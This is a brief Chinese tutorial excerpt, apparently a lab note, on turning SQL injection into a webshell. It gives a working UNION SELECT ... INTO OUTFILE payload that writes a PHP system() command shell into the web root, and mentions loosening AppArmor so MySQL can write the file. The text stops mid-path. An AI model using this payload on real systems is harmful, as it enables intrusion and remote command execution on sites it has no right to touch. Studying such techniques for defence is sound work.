web安全：sql 注入

sql注入獲取webshell 尋找sql注入頁面，操作數據庫的地方 向網站寫入sql語句 ' union select 1,2, '<?php system($_GET["cmd"]);?>' into outfile '/var/www/myzoo/cmd.php' 發現mysql沒有寫入權限，於是在apparmor中爲mysql添加權限 vi /etc/apparmor.d/usr.sbin

>>阅读原文<<